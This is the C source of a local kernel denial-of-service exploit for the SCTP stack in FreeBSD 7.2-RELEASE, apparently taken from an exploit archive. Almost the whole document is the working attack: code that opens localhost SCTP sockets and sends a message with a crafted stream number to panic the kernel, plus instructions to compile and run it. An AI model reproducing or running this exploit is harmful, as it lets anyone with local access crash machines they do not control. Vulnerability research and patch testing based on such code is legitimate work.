FreeBSD 7.2-RELEASE SCTP Local Kernel Denial of Service Exploit

                                                /* fbsd-sctp-panic.c
 *
 * freebsd 7.2-RELEASE SCTP local kernel DoS (kern panic)
 * only tested on 7.2-RELEASE, probably older and newer builds are vuln.  as well
 * based on an unfixed bug found here: <http://www.freebsd.org/cgi/query-pr.cgi?pr=136803>
 *
 * by Shaun Colley <[email protected]>, Wed 05 Aug 2009
 *
 * $ gcc fbsd-sctp-panic.c -o fbsd-sctp-panic && ./fbsd-sctp-panic
 * wait a few seconds..
 *
 * - shaun
 */

#include <stdio.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/sctp.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#include <string.h>
#include <signal.h>
#include <sys/time.h>
#include <fcntl.h>

int csock, sock, lsock;

void *accept_connection() {
	struct sockaddr_in sin;
	socklen_t size = sizeof(sin);

	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = htonl(0x7f000001);
	sin.sin_port = htons(1337);

	sock = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
	bind(sock, (struct sockaddr *)&sin, sizeof(sin));
	listen(sock, 1);
	lsock = accept(sock, (struct sockaddr *)&sin, &size);
}

void recvdata() {
	int flag;
	struct sctp_sndrcvinfo recvinfo;
	char buf[10];
	sctp_recvmsg(csock, buf, sizeof(buf), NULL, 0, &recvinfo, &flag);
}

void make_connection() {
	struct sockaddr_in consin;
	struct sctp_sndrcvinfo sinfo;

	csock = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
	consin.sin_family = AF_INET;
	consin.sin_addr.s_addr = htonl(0x7f000001);
	consin.sin_port = htons(1337);

	connect(csock, (struct sockaddr *)&consin, sizeof(consin));
	signal(SIGALRM, recvdata);
	sinfo.sinfo_stream = 1337;
	sctp_send(lsock, "pwned", sizeof("pwned"), &sinfo, 0);
}


int main() {

	alarm(2);
	signal(SIGALRM, make_connection);
	accept_connection();

	return 0;
}

// sebug.net